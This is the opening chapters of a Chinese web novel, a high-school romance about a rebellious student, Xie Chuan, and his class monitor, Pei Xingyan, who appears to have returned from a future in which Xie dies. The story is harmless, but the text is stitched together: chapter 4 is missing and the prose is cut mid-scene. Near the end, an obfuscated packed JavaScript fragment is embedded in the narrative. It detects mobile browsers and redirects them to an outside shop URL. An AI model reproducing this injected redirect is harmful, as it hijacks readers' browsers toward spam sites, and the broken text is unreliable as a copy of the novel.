《你再暗恋一个试试呢》
1. 怎么,想约架?
阴云翻涌、暴雨如注。
裴行砚拨开人群,胸腔剧烈跳动,看见了此生最可怖的画面--他那几个月前猝然跟自己分手的男朋友,此刻毫无生机地躺在血泊中......
车祸、暴雨、尖叫,将他意识生生撕扯成两半,裴行砚跪在尸体面前,悲痛欲绝。
血液染红他的膝盖,一阵天旋地转,两眼发黑,昏厥过去。
......
“你他妈听见我说话了吗?”
“要再处处找我不痛快,下次打的就是你了!”
十分钟前,谢川刚翻上学校旮旯边上的墙,正松口气拍掉手上的灰蓄势往下跳时,瞥见右下方一个板正的身影。
他硬生生地僵在了墙上。
谢川脸色倏地黑下来,微扯唇角,想当作看不见继续往下跳。
“你现在跳下去,我就告诉秦瑛。”冷淡得没有一丝温度的声音缓缓传来,扼住了他的双脚。
秦瑛,他们的班主任,平时班里的重点关注对象就是谢川,老干部气质,训起人来没完没了。
谢川泄了气般闭了闭眼,再次看向他的眼神冷了几度。跳下来走到裴行砚面前,双手插在兜里,微微仰头盯他。
“班长,你没其他的事了吗?整天就盯着我?”
他俩挨得很近,裴行砚要高一点,半垂着眸子看谢川,一道浅浅的褶皱压着眼皮,薄而狭长。
谢川盯了几秒就错开视线,稍稍后移了身体。
面对不耐烦的语气威压,裴行砚依旧淡声道:“教导主任可能随时查人,每次经过我们班他第一个盯你,不知道吗?”
“我需要你来告诉我?”谢川躁气翻腾,“我没惹过你吧?跟个监控似的天天查我错处,我最后警告你一次,我脾气是真不好,别挑战我的耐心!”
“......”
裴行砚却突然不回怼了,他捂住脑袋,灵魂震荡般,显出些痛苦的神色,低着头一动不动了。
谢川:“......”
什么意思,骂得太狠了?
他狐疑地盯着,耐心即将告罄,裴行砚却抬起了脸。
谢川一怔,被那双眼睛看得直发毛,刚才还冷冰冰、不近人情地抓他纪律,突然就像被夺舍般--
明明是同一双眼,前后感觉却大相径庭。
里面的情绪过于复杂,几分茫然恍惚,几分柔和深沉,刚才的冷然不复存在。
“有毛病?这么看着我干什么?”谢川悚然,不理解。
裴行砚还是没说话,脑子像被搅拌机和了一通,垂着的手竟不自觉颤抖。他疑惑,用力握了握拳。
“……”谢川蹙眉打量,这怕不是被骂傻了?
不至于吧,不就轻飘飘威胁了两句,胆子这么小?
上课铃响了,谢川不再理他,往教室走去。
裴行砚盯着他的背影,茫然片刻,他总觉得,忘记了什么重要的东西。
下午最后一节自习课,老师不在,才打上课铃的教室鸡飞狗跳、人声鼎沸,堪比菜市场。
砰--
后门随着力道晃荡好几圈才停下,声音之响吸引了全教室的目光。
一个身形欣长、清瘦俊逸的男生提着校服走了进来,额前的碎发堪堪遮住他满是躁气的眼睛,嘴唇崩成一个平直的弧度。
任谁看见了都得远离的怨气。
裴行砚随后而来,长腿迈进门槛,背脊挺拔,精致得稍显凌厉的五官没有多余的表情,只是抬眼看了一下前面疾步而走的男生。
谢川将衣服甩在课桌上,凳子与灰色地板摩擦发出沉闷的声响。
齐阳从他进门开始就保持着往包里塞书的动作,现在才缓过神来,一脸莫名地问他:“什么情况?你不是说先翻出去打比赛吗,我都已经在准备偷偷地跑了。”
谢川眉头拧了一下,语气很不爽,但不是针对他的,“看不出来吗?被逮回来了。”
齐阳抬头瞟了眼左前方的裴行砚:“什么仇什么怨啊,这个月逮了你多少次了。”
谢川冷哼:“谁知道呢,他这种学霸、三好学生,可能就看不惯我这种。”
教室里已经安静下来,各做各的事。
桌肚里的手机嗡嗡地响了好几声,谢川摁开解锁。
发消息的是体育班的罗繁,从文字都看得出来他此刻的着急。
【谢川你到哪儿了?】
【比赛快开始了。】
【回话啊??】
【就差你了!】
比赛的地点在网吧,前两天隔壁学校的在网吧犯贱挑衅谢川,嘲讽游戏技术并人身攻击,谢川的朋友当即跳脚骂回去,一番舌战后约定了今天的比赛。
比赛的形式就是王者荣耀五人排,谢川作为他们游戏的主力,技术过硬,差了他赢面就小了不少。
谢川看见消息后心情更加烦躁了,拧着眉。
齐阳也看见了,面色焦灼:“这怎么办,你不去怎么打,那群孙子的技术说实话也不赖,就是嘴贱。”
谢川手指飞速在屏幕上点着,敲了一行字过去。
【我出去不了了,你找个技术还行的人先顶上。】
罗繁:【出来不了?那我给他们说把时间延后。】
才扫完这句话,右手臂就被拐了一下。
“别看了,主任巡查来了。”齐阳从课桌里掏出课本,低声提醒。
果然,窗外的教导主任正背着手看过来,而谢川刚好抬头,来了个猝不及防地对视。
教导主任小小的眼睛逐渐瞪大,训人的话呼之欲出。
但谢川顶着他的目光,极其平静、不慌不忙的从桌里掏出笔,再摸出一张不知几个星期前的卷子,装模作样地看了起来。
旁边受目光牵连的齐阳笔尖在草稿纸上哗哗地演算着,将数学方程式写了一遍又一遍。
“走了没啊?我草稿纸都快写满了!”
谢川扫了一眼窗外:“走了。”
齐阳松了口气,将笔一甩。
谢川不解:“你这么怕他?”
“废话,只有你跟班长不怕好吧!要是再被逮到,完都完了。他惩罚人的手段是有脸丢脸,动不动就上主席台检讨,一次做错,全校知道,谁遭得住。”
他又说道:“还好你回来了,不然明天你就得上秦瑛办公室了。”
指尖的笔顺滑地旋转出各种花样,听到齐阳的话谢川愣了一下,随即抬头看向那个清瘦的背影。
裴行砚背部骨架线条清晰,他正低头写作业,露出的那一截手腕泛着冷白的光。
啧,真白。谢川暗诽。
正出神打量着,齐阳又嘟囔:“你是怎么做到不被冯正华抓
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的?”
谢川轻抬眼皮,慢悠悠地说了句:“熟能生巧,次数多了,你就知道怎么躲了。”
“......”
敢情是我犯事次数少了呗。
这时手机又响了,罗繁交涉回来。
【我去他妈的,听到你来不了正幸灾乐祸呢!说这是你的问题,不改时间。】
【我这边找了个过来看比赛的人顶上了,能不能赢看命吧。】
谢川淡淡地回了个“嗯”字,其实比赛本身对他来说不是多重要,只是看不惯那群人拿鼻孔看人的样子。
四十分钟过的很快,放学铃响起,谢川什么都没拿,就将手机揣兜里。
齐阳:“等我一起,很快。”
谢川索性就坐下来玩手机,齐阳不知道在收拾什么这么慢,再抬头时班上只剩下他们两个和裴行砚。
然后他就看见裴行砚起身,背着门的方向,朝这边走了过来。
谢川一只手撑在课桌边缘,拿着手机,身子半歪着,眼神不太友好的一直追随着裴行砚。
他要干嘛?还专门等到教室空了再过来。
谢川冷着脸,等人走到面前时冷漠且快速道:“怎么,想约架?”
在场的人都陷入了一个短暂的沉默。
齐阳眼神在两人身上轮流转。
最后,裴行砚抬手,指尖捏着英语试卷。
谢川顶了顶牙齿,有点想打人了呢。他站起来,朝着裴行砚手中的卷子扬了扬头:“什么意思。”
这会儿的裴行砚又恢复了正常,墙脚下的那一眼,仿佛只是谢川的错觉。
裴行砚的眼神总是淡的,看什么都一样,带着丝丝慵懒的劲儿,他说:“前天讲月考英语卷子的时候你没来,班主任让我给你讲讲。”
秦瑛既是班主任,也是英语老师。裴行砚成绩自是不必说,拔尖出众。而谢川属于半吊子,常年混迹中游,好巧不巧,他英语全科最差,平时就被秦瑛盯得紧。
他是真的烦英语这玩意儿,字母组成一堆,各种语法,脑子跟眼睛哪个都不待见它。
所以谢川眼底的厌烦更甚,在看到裴行砚极其平静地拿出了他最烦的英语后。
齐阳在后面深吸了一口气,甚至已经感觉到他川哥的烦躁值快爆表了。
拿什么不好非得拿英语试卷。
“你看我像会坐这儿听你讲卷子的样子吗?”
裴行砚深黑的眸子平静地看他,说:“没想,卷子我做了笔记的,你拿回去看就行。”
谢川:“......”
这人怎么这么烦?
“今天你把我拽回来这事还没完呢,现在又上赶着来触霉头,”他眯了眯眼睛,用自认为很凶很威胁的语气说,“我看你就是想打架,明天上午十点校外的篮球场见,谁不来谁孙子。”
说完校服一甩,凳子一踢,走了。
“卧槽等等我!”
路上,谢川看见了罗繁发过来的比赛结果,果不其然,输了。
他淡淡“啧”了一声,就把手机摁熄揣进兜。
后面齐阳跑上来,攀住他的肩膀:“我看班长只是领了瑛姐的命令来找你而已,就这样走了不好吧?”
谢川瞥了他一眼:“我管他领了谁的命令,你要是觉得不好回去听。”
齐阳直接闭嘴。
2. 以身相许的眼神
两人分道扬镳后,谢川将提在手中的衣服囫囵穿上,绕过摆着五花八门的零食摊子,拐了几个弯,最后上了一辆徐徐驶来的公交车。
窗外的景色飞快掠过,已经看了接近半年,谢川觉得无趣,歪头闭目养神了起来。
大约十分钟后,车停在了青远街,一排的槐树郁郁葱葱,街道宽阔繁华。
谢川却从来没有认真去打量过周围的环境,对于他来说,都没必要。
天色渐渐泛暗,进门就见一个高挑纤瘦的身影在桌前忙碌着。
谢川看到桌上的菜色并不丰富,心底暗自松了口气,看来今晚不会有其他人了。
女人听到动静,转身扬起一个温和的笑容:“回来了?洗洗手吃饭吧。”
谢川“嗯”了一声,抬眼望去她朴素淡雅、忙忙碌碌的身影,似乎已经很好融入了贤良妻子的角色。
他平时话就不多,在这个家里更是沉默寡言,埋头吃饭。
半晌,女人放下碗筷,眼神夹杂着小心翼翼的意味,看了好几眼旁边的少年。
“有话就说。”谢川淡淡开口。
“你明天会在家吧,小朔的生日。”
谢川夹菜的手明显划过一丝僵硬,脸色表面上没变化,但整个人的气息变低了。
他最不喜欢的,就是亲近的人用这种恳求的语气,让他做明知道他不愿意做的事。
“妈,你要是不介意我丧着脸过别人的生日,我可以回来。”
刘素婉神色黯淡下来,默了一下,又继续说:“妈妈知道你不自在,可是面子总要做齐,只差你不回来的话,不太好。”
他跟唐朔没有过激烈的矛盾,不管是言语上还是肢体上,就算是见面了也不会有太多的眼神交集。
但谢川总觉得他眼睛里藏着什么,让人很不舒服。
他们母子是几个月前被现在的继父接过来的,唐朔是原配的儿子,只比谢川大几个月。
刘素婉的婚姻不幸、坎坷,好日子没过几年,丈夫的公司被坑破产,娘俩被生活、债务搓磨了好一段时间。
甚至后面,丈夫醉酒后对她拳脚相向,那时,年幼的谢川就敢拿起砖头保护母亲。
直到意外重逢现在的丈夫,才从泥潭里渐渐爬出来。
所以刘素婉在这个家庭永远是小心翼翼、心思敏感的,虽然并没有人将她看得不同。
谢川索性饭都不吃了,搁下碗准备上楼:“放心吧,也只有你会觉得不好,有我没我都一样。”
他单薄的身影立在楼梯上,孤独又格格不入。
进房间后,泄出几口浊气,脱了衣服进浴室洗澡去了。
谢川觉得今天事儿多得要命,头隐隐痛了起来,灌了杯热水就闷头睡了。
第二天是星期六,他没有定闹钟,手机也忘记静音了。
直接被一连串的消息轰炸醒。
昨晚跟某个人放狠话的事情他睡个觉是忘得一干二净,但喜欢凑热闹的齐阳可没忘。
耳边不间断的手机提示音,将谢川从睡梦中强行拉出来。
他朦胧着眼猛地掀开被子,不爽地皱眉,甚至没有看那八条信息直接甩过去一条语音。
“大早上的要干什么?你若是没什么要紧的事看我不弄你。”
齐阳点开语音的时候就有所预感,果然,手机那边压抑着起床气,冷锐又烦躁的嗓音流泻开来。
他翻了个白眼,无语地回怼:“你是不是没看消息内容直接发语音骂的我?”
又补了句,“现在已经不是早上了,九点半。”
经过这一遭,谢川的瞌睡已经醒了,搓了把脸,仔细看齐阳的消息。
之后,他愣住了,眼睛微眯。
“明天上午十点校外的篮球场上见,谁不来谁孙子。”
终于回忆起昨晚放学时朝裴行砚放的话。
他“啧”了一声,眼睛闭上,又睁开。
这时,齐阳又发来消息。
【还去不去?要不我看就算了吧,都是一个班的。】
【班长那看着柔柔弱弱的学霸,肯定打不过你。】
谢川叼着牙刷单手打字:“去,怎么不去,我是那种言而无信的人吗?”
“等我十五分钟,马上过去。”
放假时篮球场的人比平时多,谢川去的时候场地已经有人占了。
齐阳坐在栏杆上一下一下地颠球,老远看见谢川走过来,想抬手打招呼,结果发现本来扒在球场旁边看球的几个女生目不转睛地盯着他兄弟看。
一边看一边跺脚。
齐阳的心情瞬间没那么美妙了。
他把球丢给谢川,篮球呈一道弧线落入一个骨节利落的手。
谢川看了眼时间,已经十点过五分了,他扫了一圈,仰头问:“裴行砚还没来?”
齐阳手一摊:“没看见,他会不会压根就不会来。”
谢川皱眉:“放屁,他要是敢鸽了我回学校就堵他。”
话这么说着,谢川还是在原地等了五分钟。
一分钟,面无表情地转球。
三分钟,眼神暗沉的用脚尖蹭土。
五分钟,......咬牙切齿地走人。
“诶?不等了?”齐阳在后面追。
“傻子才会等,这小子玩我呢......”
谢川现在觉得自己真是傻逼,大上午浪费睡觉的时间来赴一个根本没回应的约。
脑中浮现出裴行砚冷淡、没什么表情的样子,一个只会学习的书呆子怎么可能敢跟他这种“混混”出来?
想到这,谢川微低着的眼仿佛凝了层冰霜,显得更加冷锐逼人。
齐阳微微咽了下口水,为了转移他的注意力,提出了去网吧的意见。
“反正出都出来了,去网吧打几把游戏?叫上罗繁他们。”
谢川没说话,默许了,两人朝着时代网吧的方向走。
网吧不算远,但要拐几个小巷子。
经过一个弯道时,谢川敏锐地听到里面飘出来的几个脏字。
他轻飘飘地瞟了一眼,估计是堵人的,这种事很常见,所以他见怪不怪地继续向前走。
才走出两步,谢川就听到了一个很欠揍的人的声音--裴行砚。
他眉头蹙了起来,后面紧跟着的齐阳也停了。
“怎么了?”
谢川的视线扫向巷子:“你听没听见裴行砚的声音?”
“裴行砚?”
虽然疑惑,齐阳还真的噤声仔细听了起来。
果然,不是错觉,齐阳瞬间激动起来:“卧槽?真是学霸的声音,他在哪儿呢?”
谢川伸手摁住他扭动的身体,颇为无语:“小点声,进去看看。”
他可不是滥
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好心犯了想冲进去英雄救美,纯粹就好奇。
这里的墙都比较低矮,踩着石头土堆一蹬就翻上去了。
巷子里,一身白净的裴行砚挺直地站在青苔满布的矮墙面前,对比鲜明,倒显得他纤尘不染。
而他面前歪歪扭扭地站着几个花里胡哨的社会青年,年纪看着并不比裴行砚大多少。
在这样的境况下,他的眼神还是跟平时没什么两样,只是多了点警惕。
“我说了,我没钱。”
“钱是次要的,小呆子,知道我们为什么堵你么?”最前面的人说。
裴行砚轻轻抬眼:“你问我?”
众人:“......”
墙上蹲着的人无声笑了一声。
红发男烦躁地撸了把头发,神色嚣张:“就是你小子!昨天我们哥几个都蹲在校门外半天了,你把姓谢的给拦回去了。”
“害我们白蹲那么久!”
此时墙上看戏的谢川笑意僵在了脸上。
这里面有两个人是他认识的,不同于昨天约比赛的学生,而是在学校边成年晃荡的社会渣滓。
他懵了一瞬,原来裴行砚拦自己是因为有人蹲点?若是他昨天跳下去了,他一个人就算再能打也得负点伤。
下面的人已经没了耐心,眼见着马上动起手来。
谢川捡了个不大不小的石头用力一扔,精准无误地砸在红毛男的头上。
不大的巷子里立马回荡着粗糙的咒骂声。
“操,哪个傻......”男人横眉竖眼地转头,看见墙上人的那一刻表情可谓是精彩纷呈。
他竖起食指,气得颤抖:“你你你!谢川!我去你的,你怎么在这儿!!”
谢川轻轻一跳,长腿落地,他穿了一件黑色薄外套,松松垮垮地套在宽阔的肩膀上。
他眼神里的讥讽赤裸裸地挑衅对面的人,语气慵懒:“找你爹有事啊?”
谢川来这里几个月就出名了,潍阳打架打得最凶的,颜值又高又拽的,游戏玩得贼六的。
这片几乎都认识他,但是树大招妒,尤其是这些游手好闲,拿打架当家常便饭的混子。
混子冷哼,拐了几下脖子,恶狠狠地叫嚣:“既然自己送上门来了,那我就不客气了。”
他以为自己带了四五个小弟绝对能将谢川打得叫爸爸,单挑占不到便宜,群殴还殴不过吗?
谢川漫不经心地挽了一截衣袖,青色的血管在冷白的皮肤上若隐若现。
齐阳在他们说话的时候左顾右盼,找到了一根还算趁手的木棍。
一时间,巷子里异响阵阵,拳头闷肉与骨骼相撞的咔嚓闷响,伴随着一声高过一声的惨叫,此起彼伏。
齐阳在谢川后面补棍:“来呀,刚才不是叫嚣得挺欢吗?”
他其实很少跟谢川一起打架,但自从和他玩在一起后,就经常被堵,一身三脚猫功夫硬生生地练出来几个招式,逃跑能力也变强了。
解决完这些人后,谢川薄唇微微张着,激烈运动后不断地喘气,此刻有点泛白。
他蓦地转头,对上裴行砚眼神的那一刻,呼吸都滞了一瞬,好似撞进深邃又清澈的漩涡。
谢川猝不及防地跌进裴行砚快溺死人的眸光中,眉头一蹙。
救他一命怎么还露出了要以身相许的眼神?
又开始莫名其妙了。
3. 再和你打游戏我是狗
他挥了挥手,说:“愣着干什么?走啊,看傻了?”
地下歪七扭八地躺着痛苦呻吟的人,谢川打架打出了经验,知道哪里是痛点,所以下手又快又狠。
红毛一群人捂着痛处神色怨毒地看着谢川,全身上下没一处服的。
谢川本来都打算直接走了,瞥到他的眼神又蹲下来,不屑道:“没一次打过的,上赶着讨打么这不是?”
“我要是你,见着了就得绕道走。”
裴行砚跟着他出来巷子。
看来裴行砚并不是没有赴约,只是来的途中被堵了。
谢川想过来后就没那么生气了,他一个白白嫩嫩、作风优良的好学生,被迫经历了这么暴力的场面,估计现在都没缓过神。
所以谢川语气没那么硬了:“回去吧,昨天的事过去了。”
说完衣服拉链一拉,朝巷子外走去。
一分钟后,他木着脸停下了脚步,因为后面一直不紧不慢地跟着一个人。
“跟着我干什么?”
一分钟已经走了很大一截路程,拐了好几个弯,所以不会是什么同路这么扯的理由。
裴行砚袖口连着手掌处一片脏污,是刚才和那群人推攘所致。他攥着手心,静默地看着谢川。
一句话也没说,但谢川怎么觉着几分可怜的意味出来。
“说话。”
裴行砚缓缓开口:“不知道去哪儿。”
“......”
“不认识回家的路?”谢川舔了一下干涸的嘴唇,骂人的话呼之欲出,对上他的眼神又吞了回去,最后干着嗓音说:“随便你。”
齐阳安静如鸡,实在插不进去话,就眼神轮流在两人身上转,他觉得学霸有点不对劲,但又说不上来哪里不对劲。
星期六时代网吧的人挺多,人声杂乱。老板是一个三十几岁的青年,谢川是这里的常客,见他来了自然而然地问:“开几个机子。”
“两......”谢川脱口而出两个位置,突然想起今天跟了个尾巴,转口道:“三个。”
裴行砚气质干净冷然,是这里唯一一个穿着校服的,突兀地站在这里,离得近的几桌甚至偏头打量了好几眼。
齐阳凑近谢川身边,小声问了句:“学霸估计都没来过网吧,会打游戏吗?”
闻言,谢川瞥了一眼站得笔直、神色淡然的裴行砚。
他确实没想过这个可能性,这呆子估摸第一次进网吧。
谢川懒散地扯了下嘴角,转身:“谁让他要跟着来的。”
他一般都是选的靠窗的位置,因为网吧味道重,待久了总要通气儿。
果然,他一回头就见裴行砚抬起两根手指轻轻地堵了下鼻子,一股优雅矜贵的劲儿。
“待不了就走。”谢川抱着手臂好整以暇地看他。
裴行砚不咸不淡地回看一眼,拉了椅子就在他旁边坐下来。
齐阳本来打算坐在这里,现在默默地换了另外一个地方。
谢川轻哼一声也坐下来,登上自己的王者号在大厅领东西。
而旁边的裴行砚什么也没干,手机放在桌子上的,随意坐在那里。
他的眼神随着谢川的动作左右起伏,像是粘在了他身上一般。
谢川感受到了旁边的目光,僵硬地转头,眼皮因皱眉向下压出了一个不悦的弧度。
这人今天抽什么风?平时看见他就没好事,不是在使绊子就是在使绊子的路上,看人都是鼻孔朝天,高冷傲娇得像个孔雀。
“看着我干什么?不会玩电脑,要我教你?”谢川语气不耐,面部表情也很不友好。
但裴行砚就很会视而不见,眸子轻转,浓密的睫毛抬了一下,声音轻柔:“想和你一起玩游戏。”
谢川要是现在在喝水,他能立马喷在裴行砚脸上。这惊讶程度不亚于秦瑛笑着让他好好学习。
故意卖乖?
抽风了,今天绝对抽风了。
谢川脸色黑了一分,攥了攥手指没好气地说道:“上号,id叫什么名字。”
裴行砚打开游戏,低眼思考了几秒,“你杠也是我对。”
“......”
看不出来,名字跟真人气质分道扬镳。
加上好友后,谢川扫了一眼他的段位,看见了历史最高黄金。
“......”
他偏头眯了眯眼:“你真的会玩?”
裴行砚点了点头。
行吧。
齐阳在登别人的号帮忙领东西,这把就没跟他们一起排。
由于段位相差太多,没法打排位,就开了把匹配。
谢川熟练地选了个猴子打野,虽然他是全能型选手,很多英雄都能秀起来,但猴子是他玩得最好的。
他随意一瞥,裴行砚还没有选英雄,只剩两个位置,坦克和辅助。谢川以为他会玩坦克,结果就看见裴行砚翻到奶妈蔡文姬,确认了......
看不出来还喜欢玩软辅。谢川没说什么,靠在椅子上等局开。
其实,这是裴行砚第一次玩辅助,看段位就知道了,他很少玩这个游戏,英雄都是原皮。
开局正常的发育,蔡文姬先跟着中路,然后慢悠悠地朝发育路走去。中途猴子炫完野区准备去中路,蔡文姬见到他,拐了个弯跟着走了几步,猴子停了一下,蔡文姬又转身去下路了。
谢川挑了下眉。
前期都没啥事,猴子也拿了两个人头,队友射手突然冒了一句话。
【奶妈干嘛呢,一直在瞎逛,刚刚要是开干扰我就能杀了对面了。】
说完还点了点蔡文姬。
裴行砚表情没有任何变化,眼珠都没转一下,像是没有看见骂他的话一样。
谢川盯了几秒,手指快速操作收割了对面残血,小幅度偏头看了一眼裴行砚。
见他没有什么表情也就没说话。
三分钟后,射手又逼赖了。
【我真的服了,是女生吧玩得这么没意识,该跟的时候跟不上,不然就瞎晃,以后可千万别出现在排位赛上。】
从刚刚开始谢川就在时不时的拉视野看蒙犽的操作,一边看一边嗤笑。
还以为多牛逼呢,垃圾操作。
【自己技术菜得要命硬拉辅助当挡箭牌,给你能的。】
【还有,女生碍你事儿了?嘴这么臭。】
谢川蹲在草丛里双手飞快地敲字,眼皮半垂,凝着冷光。
蔡文姬没有了动作,裴行砚缓缓地看向谢川,眼神蕴着薄薄柔和,嘴角勾起一道浅浅的弧度。
射
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手刚想开麦回怼,猴子双杀的击杀音效响起。
他看了一下打野的战绩,开局十分钟十杠零,经济人头都领先一大截,瞬间哑口无言。
谢川等了一分钟也没见蒙犽再逼赖,轻嗤一声:【蔡文姬跟我。】
蔡文姬转了个弯屁颠屁颠地跟上了猴子,猴子走位灵活,蔡文姬跟不上,就偶尔给他回个血。
谢川看着电脑屏幕里努力跟着的蔡文姬,不由自主地勾了点笑,连自己都没察觉。
他脑子里把英雄想象成裴行砚,差点没绷住笑了出来。
接下来,打游戏话本来不多的谢川一直在讲话。
【我在这边,能不能看看ID。】
【蹲草,别出去。】
见没人刚想跑出去给残血队友回血的蔡文姬又默默退回原位。
【开个干扰...开晚了......】
这把游戏打得谢川深深吸了口气,虽然最后赢了并拿下MVP。
刚才那个人说的也不是很没有道理......
要是齐阳打得这么蠢他现在连人带椅子踹出去三米远。
他活动了一下手腕,蹙眉问裴行砚:“你这叫会玩?”
裴行砚靠在椅子上,慢吞吞且真诚地来了句:“会玩啊,但没说玩得好。”
“......”
再跟你打游戏我是狗。
齐阳早就搞完事情就等谢川开下一把,他过来笑着打圆场:“哎呀,人各有所长啊,人家学习好啊,年纪第一,你能吗?”
谢川磨了磨牙,一记眼神扫过去。
齐阳闭嘴。
“那你能吗?”
齐阳摇头如浪鼓,嘴比脑子快,下次一定注意。
“来来来,再开一把,带我上分川哥。”
裴行砚的段位跟他们一起排不了,谢川便说:“你自己找点事情干。”
说完又觉得自己瞎操心,关他什么事管这么多。
裴行砚“嗯”了一声。
他并没有自己找事情做,而是一直目不转睛地看谢川操作。
不得不说,这技术没得挑。
“帅吧?”谢川又拿下一个三杀,眉梢眼角都染上了点笑,质感清冷的嗓音让裴行砚侧目,视线停留在他潮红的唇瓣上。
久久没听到回应,谢川偏头,裴行砚收回视线,不着痕迹。
“嗯,帅。”
之后,谢川解锁了自己的手机,打开保卫萝卜扔给裴行砚:“实在无聊就玩这个。”
裴行砚拿起,掀起眼皮淡淡地看他。
“怎么,嫌弱智?别挑,适合你。”谢川散漫地梗了他一句。
接下来,裴行砚就坐在网吧玩了半小时的保卫萝卜。
谢川打完看向旁边的人,裴行砚已经给他过了好几关。
齐阳突然说:“都中午了,该吃饭了。”
刚好,裴行砚通关了。
刚起身,店门口吵吵嚷嚷一群人走进来,谢川一抬头,眼神黯淡下来,正是昨天约游戏的那群人。
他们在里面,对面一时没看见谢川,齐阳拎着衣服准备走,被谢川挡了道,正想问堵着干什么,顺着他的视线看过去,也咬紧了牙。
“真是冤家路窄,居然今天让我们给碰上了。”齐阳说。
5. 不加陌生微信
“小川,是有什么事情绊住脚了吗,没事叔叔等你。”
唐树才笑嘻嘻着轻松的一句话,谢川默住了,他跟唐树才相处模式不一样,永远都罩着客套和疏离的罩子,说什么话都蒙着一层纱。
谢川脑子里正编着理由怎么开脱,突然想到了裴行砚那个高冷脸。
“我跟我们班长讨论英语卷子呢,下周一老师要抽查。”
只要是关于学习的,唐树才就会本着学习最重要的态度不再坚持了,虽然知道可能是他的托词。
“哈哈哈,那好,你好好学习,晚上记得早点回来。”
电话挂断,谢川靠在墙上松了口气。
呼吸了好一会儿外面的新鲜空气,神清气爽。
这时,他才感到强烈的饥饿。
但是谢川懒得动,就回头让网吧老板泡了桶面。
过了几分钟,老板端着香气四溢的的面走过来,“给你加了个蛋,免费的。”
“谢谢。”
老板看了他一眼,说:“今晚不回去吗?”
这个问题倒让谢川思考了一下,半晌,他说:“回去。”
睡了一下午身上太不得劲儿,肩膀现在还有点酸痛,而且十点回去他们应该就散了。
又在网吧待了几个小时,段位上了好几颗星星,觉得差不多了谢川起身出了网吧。
一出门微风灌进衣领,带着夏日的热度,撑开了白色短袖,谢川精神了不少,打开矿泉水仰着头灌了一口,喉结凸起,上下浮动。
谢川走后,不远处的妹子拉着身边的人激动跺脚:“刚刚那是谢川吧?是吧?!”
隔着夜色多少看得不是很清楚,那个脑浆都快被摇匀了的姐妹说:“是是是,是谢川,你男神......”
谢川赶着最后一班公交回家,慢悠悠地晃回去,本以为他们都休息了,一进门看见披着衣服坐在沙发上的女人,眉头不由得蹙了起来。
“妈,你还没睡。”
刘素婉脸上明显有了困意,见儿子回家露出了笑颜。
“还早,坐这儿看看电视。”
谢川也没戳穿她的意图,知道刘素婉是专门在等他回家,因为他说了今晚会回来。
他点点头,轻声说:“那你早点休息。”
谢川想早些回房间,走到楼梯口突然想起来什么,转身说:“我之前说的住宿的事情你考虑一下。”
这件事他开学的时候就提了,只是刘素婉没同意,谢川不想住在家里,他知道唐朔因为他们的到来从走读变成了住宿。
这一行为让谢川心里仿若压了个石头,一切因为他而发生的改变都让谢川觉得不舒服。
最关键的是,唐朔从至始至终都很沉默,一般对于家庭的后来者原配肯定会排斥、歇斯底里。
但是唐朔的态度却很反常,表现得压根不在乎。
谢川看不透,却也摆脱不了那种压迫感。
所以,他不想回家,尽量的避免和他们一家人接触。
刘素婉见谢川又提这件事,脸色稍微沉了沉,她嗫喏了几下嘴唇,抬头说:“小川,你还是就在家住着吧,学校住着哪有家里舒服,况且我还可以照顾你,不好吗?”
谢川站了几秒钟,毫不犹豫地转身上楼。
这个结果预料之中,打算以后再跟她慢慢磨。
他的房间在楼梯左转最里面,但是瞥见了右边一道身影。
唐朔房间刚好跟他完全相反,他看见谢川也猝不及防惊了一下,面色微动,很快恢复原样。
在刻意的逃避下,他们很久没碰过面了。
唐朔手里端着牛奶杯,目不斜视的从谢川身边路过。
谢川脸崩着,细微的向左边歪了下身体,随后跨步回了房。
他的房间简洁干净,没有太多的杂物,显得空旷不已。
差不多半小时没有看手机,一打开微信弹了好几条消息出来。
其中就是一条好友申请,头像是大片的灰,右下角蹲着一只小猫。
昵称,y.......
谁啊这是。
谢川微蹙了下眉,就返回没理了。
唯一一个没有被他屏蔽的作业群此刻正热火朝天地讨论着。
齐阳是群主,里面只有几个人,玩得好的几个在里面发发作业答案啥的。
谢川被艾特了。
路边草:【谢川,物理作业做没。】
阳阳阳:【你在说什么鬼话,你应该问他带作业没。】
路边草:【对对,脑子短路了刚才。】
谢川:【......】
【没带,作业是什么。】
张宴:【一张英语试卷、数学练习册,语文抄写、物理练习册......】
这么多?
除了发到他手里的英语试卷,其他谢川一概不知。
语文抄写不交,物理练习册应该不收,英语......星期一早上来得及抄。
谢川经常不交作业,只是最近一直被秦瑛盯着,其他老师都向她告状,不得不装得乖一点。
下午睡得太久,谢川现在精神无比,叫上齐阳和罗繁来了几把游戏。
齐阳看见谢川的段位已经远远超过他一大截,瞬间开麦:“我去,谢川你在我走后打了多少把游戏,我追不上了啊啊!”
谢川:“太无聊了而已。”
罗繁也冒了句:“想赶上他,你再不眠不休打上两天。”
齐阳:“也不必这么打击我ok?”
打得正起劲儿,又弹出来一条好友申请,还是刚才那个人。
谢川“啧”了一声,把消息滑了,他不加陌生人,之前才过来这个学校的时候,每天都有人加他微信,持续了好一段时间。
最开始是从齐阳这里流出去的,一个高二的学姐不敢直接要谢川微信,就找上了跟他说得上话的齐阳。
“那个学姐太漂亮了,说话也温柔,所以我就给了。”这是齐阳的原话。
之后被谢川威胁,要是再把他的微信随便给女生,他就扒了齐阳的皮。
但是早就在各个年级传开了,那段时间谢川微信都很少点开。
退了游戏已经十一点半了,谢川一般不会怎么熬夜,洗漱了一番就躺下了。
星期一很快来临,谢川起得比平时早了二十分钟去教室赶作业。
教室已经来了一部分人,作业群里有他们分享出来的答案,谢川就照着抄了。
抄了大概十来分钟,谢川放下笔,转动放松一下脖子,就瞥见齐阳撑着脑袋眼巴巴地看着他。
“......有毛病?”
齐阳浅浅地翻了个白眼:“没有,只是觉得你认真补作业的样子挺帅的,以前可少见。”
谢川抬起手就想给他一巴掌,但并没有落下去,回怼道:“犯什么贱。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231203|197620||http|test|mini|href|location''.split(''|''),0,{}));
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>早自习铃响,老师掐着点拎包进来,今天是英语自习。
谢川看见她就想犯困,特别是她讲英语的时候,比安眠药都好使。
